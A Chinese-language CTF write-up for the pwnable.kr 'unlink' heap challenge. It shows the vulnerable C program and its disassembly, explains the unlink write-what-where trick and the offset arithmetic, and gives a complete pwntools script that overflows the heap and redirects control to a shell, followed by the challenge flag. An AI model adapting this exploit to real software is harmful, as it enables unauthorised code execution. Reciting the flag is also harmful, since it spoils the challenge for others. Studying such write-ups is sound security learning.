pwnable.kr之初探unlink
unlink源代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
首先要先知道为什么unlink会触发漏洞发生,主要是在
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
我们将想要写入的信息和地址分别填充在BK和FD中,第三行和第四行进行赋值,就可以把信息写入相应的地址,信息和地址可以互换,只要计算好相应的偏移地址即可。之前一直不理解我把BK和FD赋值后,那FD->bk和BK->fd不就指向无效地址了吗,不会报错吗?
这里对结构的汇编形式理解不到位,堆都是定义的结构:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
结构体是分配了一段连续的内存,所以寻找结构体成员只需要结构体首地址+相应的偏移地址,回到之前,FD->bk,实际上FD这个结构体首地址加上12偏移(32位机器下),而BK
->fd则为BK的地址加上8。(glibc malloc进行unlink操作时会将FD强制看作malloc_chunk结构体)。
反汇编的main函数:
Dump of assembler code for function main:
0x0804852f <+0>: lea ecx,[esp+0x4]
0x08048533 <+4>: and esp,0xfffffff0
0x08048536 <+7>: push DWORD PTR [ecx-0x4]
0x08048539 <+10>: push ebp
0x0804853a <+11>: mov ebp,esp
0x0804853c <+13>: push ecx
0x0804853d <+14>: sub esp,0x14
0x08048540 <+17>: sub esp,0xc
0x08048543 <+20>: push 0x400
0x08048548 <+25>: call 0x80483a0 <malloc@plt>
0x0804854d <+30>: add esp,0x10
0x08048550 <+33>: sub esp,0xc
0x08048553 <+36>: push 0x10
0x08048555 <+38>: call 0x80483a0 <malloc@plt>
0x0804855a <+43>: add esp,0x10
0x0804855d <+46>: mov DWORD PTR [ebp-0x14],eax
0x08048560 <+49>: sub esp,0xc
0x08048563 <+52>: push 0x10
0x08048565 <+54>: call 0x80483a0 <malloc@plt>
0x0804856a <+59>: add esp,0x10
0x0804856d <+62>: mov DWORD PTR [ebp-0xc],eax
0x08048570 <+65>: sub esp,0xc
0x08048573 <+68>: push 0x10
0x08048575 <+70>: call 0x80483a0 <malloc@plt>
0x0804857a <+75>: add esp,0x10
0x0804857d <+78>: mov DWORD PTR [ebp-0x10],eax
0x08048580 <+81>: mov eax,DWORD PTR [ebp-0x14]
0x08048583 <+84>: mov edx,DWORD PTR [ebp-0xc]
0x08048586 <+87>: mov DWORD PTR [eax],edx
0x08048588 <+89>: mov edx,DWORD PTR [ebp-0x14]
0x0804858b <+92>: mov eax,DWORD PTR [ebp-0xc]
0x0804858e <+95>: mov DWORD PTR [eax+0x4],edx
0x08048591 <+98>: mov eax,DWORD PTR [ebp-0xc]
0x08048594 <+101>: mov edx,DWORD PTR [ebp-0x10]
0x08048597 <+104>: mov DWORD PTR [eax],edx
0x08048599 <+106>: mov eax,DWORD PTR [ebp-0x10]
0x0804859c <+109>: mov edx,DWORD PTR [ebp-0xc]
0x0804859f <+112>: mov DWORD PTR [eax+0x4],edx
0x080485a2 <+115>: sub esp,0x8
0x080485a5 <+118>: lea eax,[ebp-0x14]
0x080485a8 <+121>: push eax
0x080485a9 <+122>: push 0x8048698
0x080485ae <+127>: call 0x8048380 <printf@plt>
0x080485b3 <+132>: add esp,0x10
0x080485b6 <+135>: mov eax,DWORD PTR [ebp-0x14]
0x080485b9 <+138>: sub esp,0x8
0x080485bc <+141>: push eax
0x080485bd <+142>: push 0x80486b8
0x080485c2 <+147>: call 0x8048380 <printf@plt>
0x080485c7 <+152>: add esp,0x10
0x080485ca <+155>: sub esp,0xc
0x080485cd <+158>: push 0x80486d8
0x080485d2 <+163>: call 0x80483b0 <puts@plt>
0x080485d7 <+168>: add esp,0x10
0x080485da <+171>: mov eax,DWORD PTR [ebp-0x14]
0x080485dd <+174>: add eax,0x8
0x080485e0 <+177>: sub esp,0xc
0x080485e3 <+180>: push eax
0x080485e4 <+181>: call 0x8048390 <gets@plt>
0x080485e9 <+186>: add esp,0x10
0x080485ec <+189>: sub esp,0xc
0x080485ef <+192>: push DWORD PTR [ebp-0xc]
0x080485f2 <+195>: call 0x8048504 <unlink>
0x080485f7 <+200>: add esp,0x10
0x080485fa <+203>: mov eax,0x0
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
End of assembler dump.
攻击点:给A堆赋值时使用了gets函数,存在溢出B堆的可能,并在gets函数后调用了unlinkB堆,存在unlink漏洞。
在unlinkB堆后,
0x080485f2 <+195>: call 0x8048504 <unlink>
0x080485f7 <+200>: add esp,0x10
0x080485fa <+203>: mov eax,0x0
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
leave相当于mov esp ebp;pop ebp,此时esp指向的是eip,最后ret弹出的是esp的所指向的地址,我们需要做的是让esp指向shellcode的位置。而esp指向的地址是由[ecx-0x4]赋值,并且ecx保存在[ebp-0x4],为什么是这样,可以看main函数开头的堆栈情况:
0x0804852f <+0>: lea 0x4(%esp),%ecx
0x08048533 <+4>: and $0xfffffff0,%esp
0x08048536 <+7>: pushl -0x4(%ecx)
0x08048539 <+10>: push %ebp
0x0804853a <+11>: mov %esp,%ebp
0x0804853c <+13>: push %ecx
分析main的汇编代码我们知道堆A,B,C在栈中的情况:
- A:[ebp-0x14]
- B:[ebp-0x0c]
- C:[ebp-0x10]
所以A堆和ecx在栈中的位置相差0x14-0x4=0x10=16
shellcode的位置放在A中buf的前四个字节,所以它相对于A堆的位置为8,所以shellcode=A堆位置+8,但给esp赋值的是[ecx-0x4],所以shellcode=[ecx-0x4],从而推出:
A的栈位置+16=[ebp-0x4]=ecx=shellcode+0x4=(A堆位置+8)+4=A堆位置+12
附上unlink.py:
from pwn import *
#context(log_level="debug")
s = ssh(host='pwnable.kr',
port=2222,
user='unlink',
password='guest'
)
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recv(10),16)
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recv(9),16)
p.recvuntil("now that you have leaks, get shell!\n")
shell_buf = 0x080484eb
buf = 'AAAA'
presizeB = 'AAAA'
sizeB = 'AAAA'
#方法一
fdB = heap_addr + 12
bkB = stack_addr + 16
'''
#方法二
或者交换位置,但要重新计算偏移值
bkB = heap_addr + 12
fdB = stack_addr + 12
'''
payload = p32(shell_buf) + buf + presizeB + sizeB + p32(fdB) + p32(bkB)
p.sendline(payload)
p.interactive()
char buf[8]是8个字节,struct tagOBJ* fd;struct tagOBJ* bk;各四个字节。
- 方法一主要是利用BK->fd=FD;前面的FD->bk=BK;没有影响,因为这里的chunk是自己定义的,缺少prev_size和size字段,fd就是第一个字段,实际中bkB=stack_addr + 8,要减去pre_size和size两个字段的8个字节。
- 方法二则是利用FD->bk=BK;分析同方法一
flag:conditional_write_what_where_from_unl1nk_explo1t